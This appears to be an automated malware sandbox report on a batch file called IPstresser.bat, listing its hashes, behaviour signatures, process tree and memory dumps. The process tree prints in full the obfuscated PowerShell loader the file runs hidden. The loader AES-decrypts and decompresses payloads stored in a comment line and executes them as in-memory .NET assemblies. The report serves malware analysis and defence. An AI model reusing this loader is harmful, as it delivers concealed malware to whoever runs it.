Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
28-04-2024 02:35
Static task
static1
Behavioral task
behavioral1
Sample
IPstresser.bat
Resource
win7-20240221-en
windows7-x64
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
IPstresser.bat
Resource
win10v2004-20240226-en
windows10-2004-x64
16 signatures
150 seconds
General
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Target
IPstresser.bat
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Size
104KB
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MD5
9961f5a480e3b1f40284111352e26ef9
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SHA1
d764ca52b356a0dddfa35fe99555be1b5cf2999c
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SHA256
239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4
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SHA512
7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a
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SSDEEP
1536:7nOs1HXZcHbLD8V9u86pOzbpdYU3rKeNHcedVdzng6nFFKdEmgRUGONJtrA:rOsR+bkV9UpOzNd33uehRd7g6FFaqONc
Score
1/10
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2172 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2172 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 3008 wrote to memory of 2172 3008 cmd.exe powershell.exe PID 3008 wrote to memory of 2172 3008 cmd.exe powershell.exe PID 3008 wrote to memory of 2172 3008 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2172
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/2172-4-0x000000001B690000-0x000000001B972000-memory.dmpFilesize
2.9MB
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memory/2172-6-0x000007FEF5740000-0x000007FEF60DD000-memory.dmpFilesize
9.6MB
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memory/2172-5-0x0000000000500000-0x0000000000508000-memory.dmpFilesize
32KB
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memory/2172-10-0x0000000002E20000-0x0000000002EA0000-memory.dmpFilesize
512KB
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memory/2172-9-0x0000000002E20000-0x0000000002EA0000-memory.dmpFilesize
512KB
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memory/2172-8-0x000007FEF5740000-0x000007FEF60DD000-memory.dmpFilesize
9.6MB
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memory/2172-7-0x0000000002E20000-0x0000000002EA0000-memory.dmpFilesize
512KB
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memory/2172-11-0x0000000002E20000-0x0000000002EA0000-memory.dmpFilesize
512KB
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memory/2172-12-0x000007FEF5740000-0x000007FEF60DD000-memory.dmpFilesize
9.6MB